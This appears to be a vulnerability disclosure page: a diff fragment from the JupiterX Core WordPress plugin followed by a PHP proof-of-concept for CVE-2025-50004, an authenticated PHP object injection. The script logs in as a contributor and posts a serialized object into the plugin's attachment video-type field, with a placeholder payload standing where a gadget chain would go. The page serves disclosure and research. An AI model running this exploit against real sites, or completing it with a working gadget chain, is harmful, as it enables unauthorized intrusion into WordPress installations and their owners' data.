-		$info['wp-server']['fields']['php_iconv'] = [
-			'label' => __( 'Iconv', 'jupiterx-core' ),
-			'value' => class_exists( 'Iconv' ) ? $value['enabled'] : $value['disabled'],
-		];
-
-		if ( defined( 'WP_HTTP_BLOCK_EXTERNAL' ) ) {
-			$block_external = __( 'HTTP requests have been blocked by the WP_HTTP_BLOCK_EXTERNAL constant, with no allowed hosts.', 'jupiterx-core' );
-
-			if ( defined( 'WP_ACCESSIBLE_HOSTS' ) ) {
-				$allowed_hosts = explode( ',', WP_ACCESSIBLE_HOSTS );
-			}
-
-			if ( isset( $allowed_hosts ) && count( $allowed_hosts ) > 0 ) {
-				$block_external = sprintf(
-					/* translators: 1: Allowed hosts */
-					esc_html__( 'HTTP requests have been blocked by the WP_HTTP_BLOCK_EXTERNAL constant, with some hosts whitelisted: %s.', 'jupiterx-core' ),
-					implode( ',', $allowed_hosts )
-				);
-			}
-		}
-
-		$info['wp-server']['fields']['http_requests'] = [
-			'label' => __( 'HTTP Requests', 'jupiterx-core' ),
-			'value' => isset( $block_external ) ? $block_external : __( 'Accessible', 'jupiterx-core' ),
-		];
-
-		$artbees_dotnet = wp_remote_get( 'https://artbees.net', [ 'timeout' => 10 ] );
-
-		if ( ! is_wp_error( $artbees_dotnet ) ) {
-			$info['wp-server']['fields']['artbees_communication'] = [
-				'label' => __( 'Communication with Artbees' ),
-				'value' => __( 'artbees.net is reachable' ),
-				'debug' => 'true',
-			];
-		} else {
-			$info['wp-server']['fields']['artbees_communication'] = [
-				'label' => __( 'Communication with artbees.net' ),
-				'value' => sprintf(
-					/* translators: 1: The IP address artbees.net resolves to. 2: The error returned by the lookup. */
-					__( 'Unable to reach Artbees at %1$s: %2$s' ),
-					gethostbyname( 'artbees.net' ),
-					$artbees_dotnet->get_error_message()
-				),
-				'debug' => $artbees_dotnet->get_error_message(),
-			];
-		}
-
-		// Database section.
-		$tables = $this->get_tables_sizes();
-
-		foreach ( $tables as $table ) {
-			$info['wp-database']['fields'][ $table['name'] ] = [
-				'label' => esc_html( $table['name'] ),
-				'value' => $table['size'] . ' MB',
-			];
-		}
-
-		// Browser section.
-		if ( ! class_exists( 'Browser' ) ) {
-			jupiterx_core()->load_files( [
-				'control-panel-2/includes/class-browser',
-			] );
-		}
-
-		$browser = new Browser();
-
-		$info['browser'] = [
-			'label'  => __( 'Browser', 'jupiterx-core' ),
-			'fields' => [
-				'browse

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-50004 - JupiterX Core <= 4.10.1 - Authenticated (Contributor+) PHP Object Injection
<?php

/**
 * Proof of Concept for CVE-2025-50004.
 * This script demonstrates the PHP object injection vulnerability in JupiterX Core plugin.
 * Requires contributor-level WordPress credentials.
 */

$target_url = 'https://vulnerable-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';

// A placeholder serialized object. In a real exploit, this would be a crafted POP chain payload.
// This example uses a generic serialized string that would be detected as serialized.
$malicious_payload = 'O:8:"stdClass":1:{s:4:"test";s:4:"evil";}';

// Step 1: Authenticate with WordPress to obtain cookies and nonce.
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);

// Step 2: Navigate to the media edit page to get a valid attachment ID and nonce.
// This is a simplified example. A real attack would first upload or identify an existing image attachment.
$media_library_url = $target_url . '/wp-admin/upload.php';
curl_setopt($ch, CURLOPT_URL, $media_library_url);
curl_setopt($ch, CURLOPT_POST, 0);
$response = curl_exec($ch);

// Extract a sample attachment ID from the page (this is a placeholder).
// In practice, you would parse the HTML to find an image attachment ID belonging to a product.
$attachment_id = 123;

// Step 3: Craft the exploit POST request to save attachment fields.
// The endpoint is the standard WordPress media edit handler.
$exploit_url = $target_url . '/wp-admin/post.php';
$exploit_data = [
    'post' => $attachment_id,
    'action' => 'editpost',
    'attachments[' . $attachment_id . '][jupiterx_video_type]' => $malicious_payload,
    'save' => 'Update'
];

curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
$response = curl_exec($ch);

// Step 4: Verify the payload was stored by attempting to trigger deserialization.
// This would require accessing a page that retrieves the meta via get_attachment_data.
// The exact trigger depends on plugin usage.

curl_close($ch);
echo "Exploit attempt completed. Check target for deserialization effects.n";

?>

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